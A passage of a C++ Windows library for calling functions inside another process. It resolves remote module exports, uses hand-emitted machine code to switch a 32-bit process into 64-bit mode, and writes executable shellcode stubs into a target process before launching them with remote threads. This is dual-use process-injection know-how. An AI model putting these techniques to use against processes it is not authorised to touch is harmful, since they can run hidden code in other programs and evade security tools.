typedef _LDR_DATA_TABLE_ENTRY_T<DWORD64> LDR_DATA_TABLE_ENTRY64;
size_t tcslen(const char* str) { return strlen(str); }
size_t tcslen(const wchar_t* str) { return wcslen(str); }
}
inline DWORD64 WINAPI GetProcAddress(HANDLE hProcess, DWORD64 hModule, const char* funcName);
#ifdef _WIN64
typedef NTSTATUS(WINAPI *NT_QUERY_INFORMATION_PROCESS)(
HANDLE ProcessHandle, ULONG ProcessInformationClass,
PVOID ProcessInformation, UINT32 ProcessInformationLength,
UINT32 * ReturnLength);
static NT_QUERY_INFORMATION_PROCESS NtWow64QueryInformationProcess64 = (NT_QUERY_INFORMATION_PROCESS)GetProcAddress((HMODULE)detail::hNtDll, "NtQueryInformationProcess");
#define NtWow64ReadVirtualMemory64 ReadProcessMemory
#else
namespace {
typedef NTSTATUS(WINAPI *NT_WOW64_QUERY_INFORMATION_PROCESS64)(
HANDLE ProcessHandle, UINT32 ProcessInformationClass,
PVOID ProcessInformation, UINT32 ProcessInformationLength,
UINT32* ReturnLength);
typedef NTSTATUS(WINAPI *NT_WOW64_READ_VIRTUAL_MEMORY64)(
HANDLE ProcessHandle, PVOID64 BaseAddress,
PVOID BufferData, UINT64 BufferLength,
PUINT64 ReturnLength);
static NT_WOW64_QUERY_INFORMATION_PROCESS64 NtWow64QueryInformationProcess64 = (NT_WOW64_QUERY_INFORMATION_PROCESS64)GetProcAddress((HMODULE)detail::hNtDll, "NtWow64QueryInformationProcess64");
static NT_WOW64_READ_VIRTUAL_MEMORY64 NtWow64ReadVirtualMemory64 = (NT_WOW64_READ_VIRTUAL_MEMORY64)GetProcAddress((HMODULE)detail::hNtDll, "NtWow64ReadVirtualMemory64");
}
#endif
inline DWORD64 WINAPI GetModuleHandle(HANDLE hProcess, const TCHAR* moduleName)
{
if (!moduleName) return 0;
if (!hProcess) hProcess = detail::hCurProcess;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, GetProcessId(hProcess));
if (hSnap == INVALID_HANDLE_VALUE) return 0;
MODULEENTRY32 mod = { sizeof(mod) };
if (Module32First(hSnap, &mod)) {
do {
if (!_tcsicmp(mod.szModule, moduleName)) {
CloseHandle(hSnap);
return (DWORD64)mod.hModule;
}
} while (Module32Next(hSnap, &mod));
}
CloseHandle(hSnap);
return 0;
}
DWORD64 WINAPI GetProcAddress(HANDLE hProcess, DWORD64 hModule, const char* funcName)
{
if (!hModule || !funcName) return 0;
if (!hProcess) hProcess = detail::hCurProcess;
IMAGE_DOS_HEADER idh;
NTSTATUS status = ReadProcessMemory(hProcess, (PVOID)hModule, (PVOID)&idh, sizeof(idh), NULL);
if (!NT_SUCCESS(status)) return 0;
IMAGE_NT_HEADERS32 inh;
status = ReadProcessMemory(hProcess, (PVOID)(hModule + idh.e_lfanew), (PVOID)&inh, sizeof(inh), NULL);
if (!NT_SUCCESS(status)) return 0;
IMAGE_DATA_DIRECTORY& idd = inh.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
if (!idd.VirtualAddress)return 0;
IMAGE_EXPORT_DIRECTORY ied;
status = ReadProcessMemory(hProcess, (PVOID)(hModule + idd.VirtualAddress), (PVOID)&ied, sizeof(ied), NULL);
if (!NT_SUCCESS(status)) return 0;
std::vector<DWORD> nameTable(ied.NumberOfNames);
status = ReadProcessMemory(hProcess, (PVOID)(hModule + ied.AddressOfNames), (PVOID)&nameTable[0], sizeof(DWORD) * ied.NumberOfNames, NULL);
if (!NT_SUCCESS(status)) return 0;
for (DWORD i = 0; i < ied.NumberOfNames; ++i) {
std::string func(strlen(funcName), 0);
status = ReadProcessMemory(hProcess, (PVOID)(hModule + nameTable[i]), (PVOID)&func[0], strlen(funcName), NULL);
if (!NT_SUCCESS(status)) continue;
if (func == funcName) {
WORD ord = 0;
status = ReadProcessMemory(hProcess, (PVOID)(hModule + ied.AddressOfNameOrdinals + i * sizeof(WORD)), (PVOID)&ord, sizeof(WORD), NULL);
if (!NT_SUCCESS(status)) continue;
DWORD rva = 0;
status = ReadProcessMemory(hProcess, (PVOID)(hModule + ied.AddressOfFunctions + ord * sizeof(DWORD)), (PVOID)&rva, sizeof(DWORD), NULL);
if (!NT_SUCCESS(status)) continue;
return hModule + rva;
}
}
return 0;
}
inline DWORD64 WINAPI GetModuleHandle64(HANDLE hProcess, const TCHAR* moduleName)
{
if (!moduleName) return 0;
if (!hProcess) hProcess = detail::hCurProcess;
#ifndef _WIN64
if (!NtWow64QueryInformationProcess64 || !NtWow64ReadVirtualMemory64) return 0;
#endif
PROCESS_BASIC_INFORMATION64 pbi = { 0 };
const int ProcessBasicInformation = 0;
NTSTATUS status = NtWow64QueryInformationProcess64(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
if (!NT_SUCCESS(status)) return 0;
PEB64 peb;
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
if (!NT_SUCCESS(status)) return 0;
PEB_LDR_DATA64 ldr;
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)peb.Ldr, (PVOID)&ldr, sizeof(ldr), NULL);
if (!NT_SUCCESS(status)) return 0;
DWORD64 LastEntry = peb.Ldr + offsetof(PEB_LDR_DATA64, InLoadOrderModuleList);
LDR_DATA_TABLE_ENTRY64 head;
head.InLoadOrderLinks.Flink = ldr.InLoadOrderModuleList.Flink;
do {
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)head.InLoadOrderLinks.Flink, (PVOID)&head, sizeof(head), NULL);
if (!NT_SUCCESS(status)) continue;
std::wstring modName((size_t)head.BaseDllName.MaximumLength, 0);
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)head.BaseDllName.Buffer, (PVOID)&modName[0], head.BaseDllName.MaximumLength, NULL);
if (!NT_SUCCESS(status)) continue;
if (!_tcsicmp(moduleName, _W2T(modName.c_str()).c_str()))
return head.DllBase;
} while (head.InLoadOrderLinks.Flink != LastEntry);
return 0;
}
inline DWORD64 WINAPI GetProcAddress64(HANDLE hProcess, DWORD64 hModule, const char* funcName)
{
if (!hModule || !funcName) return 0;
if (!hProcess) hProcess = detail::hCurProcess;
#ifndef _WIN64
if (!NtWow64ReadVirtualMemory64) return 0;
#endif
IMAGE_DOS_HEADER idh;
NTSTATUS status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)hModule, (PVOID)&idh, sizeof(idh), NULL);
if (!NT_SUCCESS(status)) return 0;
IMAGE_NT_HEADERS64 inh;
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + idh.e_lfanew), (PVOID)&inh, sizeof(inh), NULL);
if (!NT_SUCCESS(status)) return 0;
IMAGE_DATA_DIRECTORY& idd = inh.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
if (!idd.VirtualAddress)return 0;
IMAGE_EXPORT_DIRECTORY ied;
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + idd.VirtualAddress), (PVOID)&ied, sizeof(ied), NULL);
if (!NT_SUCCESS(status)) return 0;
std::vector<DWORD> nameTable(ied.NumberOfNames);
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + ied.AddressOfNames), (PVOID)&nameTable[0], sizeof(DWORD) * ied.NumberOfNames, NULL);
if (!NT_SUCCESS(status)) return 0;
for (DWORD i = 0; i < ied.NumberOfNames; ++i) {
std::string func(strlen(funcName), 0);
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + nameTable[i]), (PVOID)&func[0], strlen(funcName), NULL);
if (!NT_SUCCESS(status)) continue;
if (func == funcName) {
WORD ord = 0;
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + ied.AddressOfNameOrdinals + i * sizeof(WORD)), (PVOID)&ord, sizeof(WORD), NULL);
if (!NT_SUCCESS(status)) continue;
DWORD rva = 0;
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + ied.AddressOfFunctions + ord * sizeof(DWORD)), (PVOID)&rva, sizeof(DWORD), NULL);
if (!NT_SUCCESS(status)) continue;
return hModule + rva;
}
}
return 0;
}
inline DWORD64 GetNtDll64()
{
static DWORD64 hNtdll64 = 0;
if(hNtdll64) return hNtdll64;
hNtdll64 = GetModuleHandle64(detail::hCurProcess, _T("ntdll.dll"));
return hNtdll64;
}
#ifdef _WIN64
#define SetLastError64 SetLastError
#define VirtualQueryEx64 VirtualQueryEx
#define VirtualAllocEx64 VirtualAllocEx
#define VirtualFreeEx64 VirtualFreeEx
#define VirtualProtectEx64 VirtualProtectEx
#define ReadProcessMemory64 ReadProcessMemory
#define WriteProcessMemory64 WriteProcessMemory
#define LoadLibrary64 LoadLibrary
#define CreateRemoteThread64 CreateRemoteThread
#else
namespace {
#define _(x) __asm __emit (x)
__declspec(naked) DWORD64 x64Call(DWORD64 func, int argC, ...)
{
// see X64Call_disassemble for details
_(0x55)_(0x8b)_(0xec)_(0x8b)_(0x4d)_(0x10)_(0x8d)_(0x55)_(0x14)_(0x83)_(0xec)_(0x40)_(0x53)_(0x56)_(0x57)_(0x85)
_(0xc9)_(0x7e)_(0x15)_(0x8b)_(0x45)_(0x14)_(0x8d)_(0x55)_(0x1c)_(0x49)_(0x89)_(0x45)_(0xf0)_(0x8b)_(0x45)_(0x18)
_(0x89)_(0x4d)_(0x10)_(0x89)_(0x45)_(0xf4)_(0xeb)_(0x08)_(0x0f)_(0x57)_(0xc0)_(0x66)_(0x0f)_(0x13)_(0x45)_(0xf0)
_(0x85)_(0xc9)_(0x7e)_(0x15)_(0x49)_(0x83)_(0xc2)_(0x08)_(0x89)_(0x4d)_(0x10)_(0x8b)_(0x42)_(0xf8)_(0x89)_(0x45)
_(0xe8)_(0x8b)_(0x42)_(0xfc)_(0x89)_(0x45)_(0xec)_(0xeb)_(0x08)_(0x0f)_(0x57)_(0xc0)_(0x66)_(0x0f)_(0x13)_(0x45)
_(0xe8)_(0x85)_(0xc9)_(0x7e)_(0x15)_(0x49)_(0x83)_(0xc2)_(0x08)_(0x89)_(0x4d)_(0x10)_(0x8b)_(0x42)_(0xf8)_(0x89)
_(0x45)_(0xe0)_(0x8b)_(0x42)_(0xfc)_(0x89)_(0x45)_(0xe4)_(0xeb)_(0x08)_(0x0f)_(0x57)_(0xc0)_(0x66)_(0x0f)_(0x13)
_(0x45)_(0xe0)_(0x85)_(0xc9)_(0x7e)_(0x15)_(0x49)_(0x83)_(0xc2)_(0x08)_(0x89)_(0x4d)_(0x10)_(0x8b)_(0x42)_(0xf8)
_(0x89)_(0x45)_(0xd8)_(0x8b)_(0x42)_(0xfc)_(0x89)_(0x45)_(0xdc)_(0xeb)_(0x08)_(0x0f)_(0x57)_(0xc0)_(0x66)_(0x0f)
_(0x13)_(0x45)_(0xd8)_(0x8b)_(0xc2)_(0xc7)_(0x45)_(0xfc)_(0x00)_(0x00)_(0x00)_(0x00)_(0x99)_(0x0f)_(0x57)_(0xc0)
_(0x89)_(0x45)_(0xc0)_(0x8b)_(0xc1)_(0x89)_(0x55)_(0xc4)_(0x99)_(0x66)_(0x0f)_(0x13)_(0x45)_(0xc8)_(0x89)_(0x45)
_(0xd0)_(0x89)_(0x55)_(0xd4)_(0xc7)_(0x45)_(0xf8)_(0x00)_(0x00)_(0x00)_(0x00)_(0x66)_(0x8c)_(0x65)_(0xf8)_(0xb8)
_(0x2b)_(0x00)_(0x00)_(0x00)_(0x66)_(0x8e)_(0xe0)_(0x89)_(0x65)_(0xfc)_(0x83)_(0xe4)_(0xf0)_(0x6a)_(0x33)_(0xe8)
_(0x00)_(0x00)_(0x00)_(0x00)_(0x83)_(0x04)_(0x24)_(0x05)_(0xcb)_(0x48)_(0x8b)_(0x4d)_(0xf0)_(0x48)_(0x8b)_(0x55)
_(0xe8)_(0xff)_(0x75)_(0xe0)_(0x49)_(0x58)_(0xff)_(0x75)_(0xd8)_(0x49)_(0x59)_(0x48)_(0x8b)_(0x45)_(0xd0)_(0xa8)
_(0x01)_(0x75)_(0x03)_(0x83)_(0xec)_(0x08)_(0x57)_(0x48)_(0x8b)_(0x7d)_(0xc0)_(0x48)_(0x85)_(0xc0)_(0x74)_(0x16)
_(0x48)_(0x8d)_(0x7c)_(0xc7)_(0xf8)_(0x48)_(0x85)_(0xc0)_(0x74)_(0x0c)_(0xff)_(0x37)_(0x48)_(0x83)_(0xef)_(0x08)
_(0x48)_(0x83)_(0xe8)_(0x01)_(0xeb)_(0xef)_(0x48)_(0x83)_(0xec)_(0x20)_(0xff)_(0x55)_(0x08)_(0x48)_(0x8b)_(0x4d)
_(0xd0)_(0x48)_(0x8d)_(0x64)_(0xcc)_(0x20)_(0x5f)_(0x48)_(0x89)_(0x45)_(0xc8)_(0xe8)_(0x00)_(0x00)_(0x00)_(0x00)
_(0xc7)_(0x44)_(0x24)_(0x04)_(0x23)_(0x00)_(0x00)_(0x00)_(0x83)_(0x04)_(0x24)_(0x0d)_(0xcb)_(0x66)_(0x8c)_(0xd8)
_(0x66)_(0x8e)_(0xd0)_(0x8b)_(0x65)_(0xfc)_(0x66)_(0x8b)_(0x45)_(0xf8)_(0x66)_(0x8e)_(0xe0)_(0x8b)_(0x45)_(0xc8)
_(0x8b)_(0x55)_(0xcc)_(0x5f)_(0x5e)_(0x5b)_(0x8b)_(0xe5)_(0x5d)_(0xc3)
}
#undef _
}
class X64Call
{
template<typename char_t>
struct StringHelper : detail::GCBase
{
StringHelper(const char_t* v) : name(0) {
name = new _UNICODE_STRING_T<DWORD64>;
name->Buffer = (DWORD64)v;
name->Length = (WORD)tcslen(v) * sizeof(char_t);
name->MaximumLength = name->Length;
}
virtual void gc() { delete name; }
virtual DWORD64 toDWORD64() { return (DWORD64)name; }
private:
_UNICODE_STRING_T<DWORD64>* name;
};
template<typename T>
DWORD64 ToDWORD64(T v, detail::GCHelper*) {
return DWORD64(v);
}
template<> DWORD64 ToDWORD64<const char*>(const char* v, detail::GCHelper* helper) { return helper->add(new StringHelper<char>(v)); }
template<> DWORD64 ToDWORD64<const wchar_t*>(const wchar_t* v, detail::GCHelper* helper) { return helper->add(new StringHelper<wchar_t>(v)); }
template<> DWORD64 ToDWORD64<char*>(char* v, detail::GCHelper* helper) { return helper->add(new StringHelper<char>(v)); }
template<> DWORD64 ToDWORD64<wchar_t*>(wchar_t* v, detail::GCHelper* helper) { return helper->add(new StringHelper<wchar_t>(v)); }
private:
DWORD64 func;
public:
X64Call(const char* funcName) : func(GetProcAddress64(0, GetNtDll64(), funcName)) {}
X64Call(DWORD64 module, const char* funcName) : func(GetProcAddress64(0, module, funcName)) {}
operator DWORD64() { return func; }
DWORD64 operator()() { return func && x64Call(func, 0); }
#define __TO_DWORD64_DECL(n) ToDWORD64(__PARAM(n), &helper)
#define TO_DWORD64_DECL(n) __TO_DWORD64_DECL(n) ,
#define END_TO_DWORD64_DECL(n) __TO_DWORD64_DECL(n)
#define CALLERS(n) template<DECL_VOID_TEMPLATE_ARGS(n)> DWORD64 operator()(DECL_PARAMS_LIST(n)) { detail::GCHelper helper; return func && x64Call(func, n, REPEAT(n, TO_DWORD64_DECL, END_TO_DWORD64_DECL)); }
CALLERS( 1) CALLERS( 2) CALLERS( 3) CALLERS( 4) CALLERS( 5) CALLERS( 6) CALLERS( 7) CALLERS( 8) CALLERS( 9) CALLERS(10)
CALLERS(11) CALLERS(12) CALLERS(13) CALLERS(14) CALLERS(15) CALLERS(16) CALLERS(17) CALLERS(18) CALLERS(19) CALLERS(20)
#undef CALLERS
#undef END_TO_DWORD64_DECL
#undef TO_DWORD64_DECL
#undef __TO_DWORD64_DECL
};
inline VOID WINAPI SetLastError64(DWORD64 status)
{
typedef ULONG (WINAPI *RTL_NTSTATUS_TO_DOS_ERROR)(NTSTATUS Status);
typedef ULONG (WINAPI *RTL_SET_LAST_WIN32_ERROR)(NTSTATUS Status);
static RTL_NTSTATUS_TO_DOS_ERROR RtlNtStatusToDosError = (RTL_NTSTATUS_TO_DOS_ERROR)GetProcAddress(detail::hNtDll, "RtlNtStatusToDosError");
static RTL_SET_LAST_WIN32_ERROR RtlSetLastWin32Error = (RTL_SET_LAST_WIN32_ERROR)GetProcAddress(detail::hNtDll, "RtlSetLastWin32Error");
if (RtlNtStatusToDosError && RtlSetLastWin32Error)
RtlSetLastWin32Error(RtlNtStatusToDosError((DWORD)status));
}
inline SIZE_T WINAPI VirtualQueryEx64(HANDLE hProcess, DWORD64 lpAddress, MEMORY_BASIC_INFORMATION64* lpBuffer, SIZE_T dwLength)
{
static X64Call NtQueryVirtualMemory("NtQueryVirtualMemory");
if (!NtQueryVirtualMemory) return 0;
DWORD64 ret = 0;
DWORD64 status = NtQueryVirtualMemory(hProcess, lpAddress, 0, lpBuffer, dwLength, &ret);
if (!status) return (SIZE_T)ret;
SetLastError64(ret);
return FALSE;
}
inline DWORD64 WINAPI VirtualAllocEx64(HANDLE hProcess, DWORD64 lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
{
static X64Call NtAllocateVirtualMemory("NtAllocateVirtualMemory");
if (!NtAllocateVirtualMemory) return 0;
DWORD64 tmpAddr = lpAddress;
DWORD64 tmpSize = dwSize;
DWORD64 ret = NtAllocateVirtualMemory(hProcess, &tmpAddr, 0, &tmpSize, flAllocationType, flProtect);
if (!ret) return tmpAddr;
SetLastError64(ret);
return FALSE;
}
inline BOOL WINAPI VirtualFreeEx64(HANDLE hProcess, DWORD64 lpAddress, SIZE_T dwSize, DWORD dwFreeType)
{
static X64Call NtFreeVirtualMemory("NtFreeVirtualMemory");
if (!NtFreeVirtualMemory) return 0;
DWORD64 tmpAddr = lpAddress;
DWORD64 tmpSize = dwSize;
DWORD64 ret = NtFreeVirtualMemory(hProcess, &tmpAddr, &tmpSize, dwFreeType);
if (!ret) return TRUE;
SetLastError64(ret);
return FALSE;
}
inline BOOL WINAPI VirtualProtectEx64(HANDLE hProcess, DWORD64 lpAddress, SIZE_T dwSize, DWORD flNewProtect, DWORD* lpflOldProtect)
{
static X64Call NtProtectVirtualMemory("NtProtectVirtualMemory");
if (!NtProtectVirtualMemory) return 0;
DWORD64 tmpAddr = lpAddress;
DWORD64 tmpSize = dwSize;
DWORD64 ret = NtProtectVirtualMemory(hProcess, &tmpAddr, &tmpSize, flNewProtect, lpflOldProtect);
if (!ret) return TRUE;
SetLastError64(ret);
return FALSE;
}
inline BOOL WINAPI ReadProcessMemory64(HANDLE hProcess, DWORD64 lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesRead)
{
static X64Call NtReadVirtualMemory("NtReadVirtualMemory");
if (!NtReadVirtualMemory) return 0;
DWORD64 read = 0;
DWORD64 ret = NtReadVirtualMemory(hProcess, lpBaseAddress, lpBuffer, nSize, &read);
if (!ret) {
if (lpNumberOfBytesRead) *lpNumberOfBytesRead = (SIZE_T)read;
return TRUE;
}
SetLastError64(ret);
return FALSE;
}
inline BOOL WINAPI WriteProcessMemory64(HANDLE hProcess, DWORD64 lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesWritten)
{
static X64Call NtWriteVirtualMemory("NtWriteVirtualMemory");
if (!NtWriteVirtualMemory) return 0;
DWORD64 written = 0;
DWORD64 ret = NtWriteVirtualMemory(hProcess, lpBaseAddress, lpBuffer, nSize, &written);
if (!ret) {
if (lpNumberOfBytesWritten) *lpNumberOfBytesWritten = (SIZE_T)written;
return TRUE;
}
SetLastError64(ret);
return FALSE;
}
inline HANDLE WINAPI CreateRemoteThread64(HANDLE hProcess,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
DWORD64 lpStartAddress,
DWORD64 lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId)
{
static X64Call RtlCreateUserThread("RtlCreateUserThread");
if (!RtlCreateUserThread) return 0;
BOOLEAN createSuspended = dwCreationFlags & CREATE_SUSPENDED;
ULONG stackSize = dwStackSize;
DWORD64 handle = 0;
DWORD64 status = RtlCreateUserThread(hProcess, lpThreadAttributes, createSuspended, 0, (dwCreationFlags & STACK_SIZE_PARAM_IS_A_RESERVATION) ? &stackSize : NULL, &stackSize, lpStartAddress, lpParameter, &handle, NULL);
if (!status) return (HANDLE)handle;
SetLastError64(status);
return NULL;
}
#endif
class ProcessWriter
{
public:
template<typename T>
ProcessWriter(HANDLE hProcess, T content, SIZE_T dwSize, DWORD flProtect = PAGE_READWRITE)
: _autoRelease(TRUE)
, _hProcess(hProcess)
, _dw64Address(0)
, _dwSize(dwSize)
{
if (!(_dw64Address = VirtualAllocEx64(hProcess, NULL, dwSize, MEM_COMMIT | MEM_RESERVE, flProtect)))
return;
SIZE_T written = 0;
if (!WriteProcessMemory64(hProcess, _dw64Address, (PVOID)content, dwSize, &written) || written != dwSize) {
VirtualFreeEx64(hProcess, _dw64Address, _dwSize, MEM_DECOMMIT);
_dw64Address = 0;
}
}
~ProcessWriter() {
if (_dw64Address && _autoRelease)
VirtualFreeEx64(_hProcess, _dw64Address, _dwSize, MEM_DECOMMIT);
}
void SetDontRelese() {
_autoRelease = FALSE;
}
operator DWORD64() {
return (DWORD64)_dw64Address;
}
#ifdef _WIN64
template<typename T>
operator T*() {
return (T*)_dw64Address;
}
#endif
private:
BOOL _autoRelease;
HANDLE _hProcess;
#ifdef _WIN64
LPVOID _dw64Address;
#else
DWORD64 _dw64Address;
#endif
SIZE_T _dwSize;
};
namespace {
std::string makeShellCode(int cnt, bool is64Bit)
{
if(is64Bit) {
// see X64Delegator_disassemble for details
static const unsigned char kTmpl_x64[] = { 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xd9, 0x48, 0x85, 0xc9, 0x74, 0x1d, 0x48, 0x83,
0x39, 0x00, 0x48, 0x8b, 0x41, 0x08, 0x74, 0x0b, 0xff, 0xd0, 0x48, 0x89, 0x03, 0x48, 0x83, 0xc4,
0x20, 0x5b, 0xc3, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0x48, 0xff, 0xe0, 0x33, 0xc0, 0x48, 0x83, 0xc4,
0x20, 0x5b, 0xc3 };
std::string templ_x64((const char*)kTmpl_x64, sizeof(kTmpl_x64));
if(!cnt) return templ_x64;
templ_x64[13] += (cnt <= 4) ? cnt * 4 : (cnt - 4) * 9 + 16;
if(cnt >= 1)
templ_x64[16] = 0x3b;
if(cnt < 3) {
if(cnt >= 1) {
templ_x64.insert(22, "\x48\x8b\x49\x10", 4);
}
if(cnt >= 2) {
templ_x64.insert(22, "\x48\x8b\x51\x18", 4);
}
}
else {
templ_x64[20] = 0x49;
templ_x64[21] = 0x10;
templ_x64.insert(22, "\x48\x8B\x53\x18", 4);
templ_x64.insert(22, "\x4c\x8b\x43\x20", 4);
templ_x64.insert(22, "\x48\x8b\x43\x08", 4);
if(cnt >= 4) {
templ_x64.insert(26, "\x4c\x8b\x4b\x28", 4);
}
if(cnt >= 5) {
templ_x64.insert(18, "\x4c\x8B\x53\x30", 4);
templ_x64.insert(42, "\x4c\x89\x54\x24\x20", 5);
}
if(cnt >= 6) {
templ_x64[21] = 0x38;
templ_x64.insert(22, "\x4c\x8b\x5b\x30", 4);
templ_x64[50] = 0x28;
templ_x64.insert(51, "\x4c\x89\x5c\x24\x20", 5);
}
// TODO
}
return templ_x64;
}
// see X86Delegator_disassemble for details
static const unsigned char kTmpl_x86[] = { 0x55, 0x8b, 0xec, 0x51, 0x83, 0x7d, 0x08, 0x00, 0x74, 0x0c, 0x8b ,0x45, 0x08, 0x8b, 0x08, 0xff,
0xd0, 0x89, 0x45, 0xfc, 0xeb, 0x07, 0xc7, 0x45, 0xfc, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x45, 0xfc,
0x8b, 0xe5, 0x5d, 0xc3 };
std::string templ_x86((const char*)kTmpl_x86, sizeof(kTmpl_x86));
// je distance
templ_x86[9] += cnt * 7;
templ_x86[16] += ((1 - cnt) % 3 + 3) % 3;
int pos = 13;
for(int i = 0; i < cnt; ++i) {
switch(i % 3) {
case 0:
templ_x86.insert(pos, "\x8b\x48\xcc\x51\x8b\x55\x08", 7);
break;
case 1:
templ_x86.insert(pos, "\x8b\x42\xcc\x50\x8b\x4d\x08", 7);
break;
case 2:
templ_x86.insert(pos, "\x8b\x51\xcc\x52\x8b\x45\x08", 7);
break;
}
templ_x86[pos + 2] = (cnt - i) << 2;
pos += 7;
}
switch(cnt % 3) {
case 0:
templ_x86[pos + 1] = 0x08;
break;
case 1:
templ_x86[pos + 1] = 0x02;
break;
case 2:
templ_x86[pos + 1] = 0x11;
break;
}
return templ_x86;
}
template<int argCnt, bool is64Bit>
const std::string& shellCode() {
static std::string kCode = makeShellCode(argCnt, is64Bit);
return kCode;
}
}
class YAPICall
{
template<typename T>
DWORD64 ToDWORD64(T v, HANDLE hProcess, detail::GCHelper*) {
return DWORD64(v);
}
template<typename char_t>
struct StringHelper : detail::GCBase
{
StringHelper(HANDLE hProcess, const char_t* v) : name(0) {
name = new ProcessWriter(hProcess, v, (tcslen(v) + 1) * sizeof(char_t));
}
virtual void gc() { delete name; }
virtual DWORD64 toDWORD64() { return (DWORD64)*name; }
private:
ProcessWriter* name;
};
template<> DWORD64 ToDWORD64<const char*>(const char* v, HANDLE hProcess, detail::GCHelper* helper) { return helper->add(new StringHelper<char>(hProcess, v)); }
template<> DWORD64 ToDWORD64<const wchar_t*>(const wchar_t* v, HANDLE hProcess, detail::GCHelper* helper) { return helper->add(new StringHelper<wchar_t>(hProcess, v)); }
template<> DWORD64 ToDWORD64<char*>(char* v, HANDLE hProcess, detail::GCHelper* helper) { return helper->add(new StringHelper<char>(hProcess, v)); }
template<> DWORD64 ToDWORD64<wchar_t*>(wchar_t* v, HANDLE hProcess, detail::GCHelper* helper) { return helper->add(new StringHelper<wchar_t>(hProcess, v)); }
private:
HANDLE _hProcess;
ProcessWriter* _sc;
DWORD64 func;
BOOL _dw64Ret;
DWORD _dwTimeout;
BOOL _is64Bit;
template<int argCnt>
bool initShellCoder(ProcessWriter*& sc) {
if(sc) return false;
const std::string& shellcode = _is64Bit ? shellCode<argCnt, 1>() : shellCode<argCnt, 0>();
sc = new ProcessWriter(_hProcess, shellcode.data(), shellcode.size() + 1, PAGE_EXECUTE_READWRITE);
return true;
}
template<typename T>
DWORD64 call(const std::vector<T>& param) {
ProcessWriter p(_hProcess, &param[0], sizeof(T) * (param.size()));
if (!p) return -1;
HANDLE hThread = 0;
if (_is64Bit)
hThread = CreateRemoteThread64(_hProcess, NULL, 0, *_sc, p, 0, NULL);
else {
#ifdef _WIN64
// see X64toX86_disassemble for details
static const unsigned char kTmpl_x64_to_x86[] = { 0x48, 0x89, 0x4c, 0x24, 0x08, 0x48, 0x83, 0xec, 0x28, 0x48, 0x8b, 0x44, 0x24, 0x30, 0x8b, 0x48,
0x08, 0x48, 0x8b, 0x44, 0x24, 0x30, 0x6a, 0x33, 0xe8, 0x00, 0x00, 0x00, 0x00, 0x83, 0x04, 0x24,
0x05, 0xcb, 0xff, 0xd0, 0xe8, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x04, 0x23, 0x00, 0x00,
0x00, 0x83, 0x04, 0x24, 0x0d, 0xcb, 0x48, 0x83, 0xc4, 0x28, 0xc3 };
std::string x86_shellcode((char*)kTmpl_x64_to_x86, sizeof(kTmpl_x64_to_x86));
ProcessWriter* sc = new ProcessWriter(_hProcess, x86_shellcode.data(), x86_shellcode.size() + 1, PAGE_EXECUTE_READWRITE);
sc->SetDontRelese();
hThread = CreateRemoteThread64(_hProcess, NULL, 0, *_sc, p, 0, NULL);
#else
hThread = CreateRemoteThread(_hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)(DWORD64)*_sc, (PVOID)(DWORD64)p, 0, NULL);
#endif
}
if (!hThread) return -1;
if (WaitForSingleObject(hThread, _dwTimeout) != WAIT_OBJECT_0) {
_sc->SetDontRelese();
CloseHandle(hThread);
return -1;
}
if (!_is64Bit || !_dw64Ret) {
DWORD ret = 0;
GetExitCodeThread(hThread, &ret);
CloseHandle(hThread);
return ret;
}
DWORD64 ret = 0;
CloseHandle(hThread);
ReadProcessMemory64(_hProcess, p, &ret, sizeof(DWORD64), NULL);
return ret;
}
public:
YAPICall(HANDLE hProcess, const char* funcName)
: _hProcess(hProcess)
, _sc(0)
, func(GetProcAddress64(hProcess, GetNtDll64(), funcName))
, _dw64Ret(FALSE)
, _dwTimeout(INFINITE)
, _is64Bit(detail::is64BitOS)
{
}
YAPICall(HANDLE hProcess, DWORD64 moudle, const char* funcName)
: _hProcess(hProcess)
, _sc(0)
, func(GetProcAddress64(hProcess, moudle, funcName))
, _dw64Ret(FALSE)
, _dwTimeout(INFINITE)
, _is64Bit(detail::is64BitOS)
{
}
YAPICall(HANDLE hProcess, const TCHAR* modName, const char* funcName)
: _hProcess(hProcess)
, _sc(0)
, func(GetProcAddress64(hProcess, GetModuleHandle64(hProcess, modName), funcName))
, _dw64Ret(FALSE)
, _dwTimeout(INFINITE)
, _is64Bit(detail::is64BitOS)
{
if(!func) {
func = GetProcAddress(hProcess, GetModuleHandle(hProcess, modName), funcName);
_is64Bit = FALSE;
}
}
~YAPICall() { if (_sc) delete _sc; }
operator DWORD64() { return func; }
YAPICall& Dw64() { _dw64Ret = TRUE; return *this; }
YAPICall& Timeout(DWORD dwTimeout) { _dwTimeout = dwTimeout; return *this; }
#define TO_DWORD64_ARRAY_DECL(n) param[n + 1] = ToDWORD64(__PARAM(n), _hProcess, &helper);
#define TO_DWORD_ARRAY_DECL(n) param[n] = (DWORD)ToDWORD64(__PARAM(n), _hProcess, &helper);
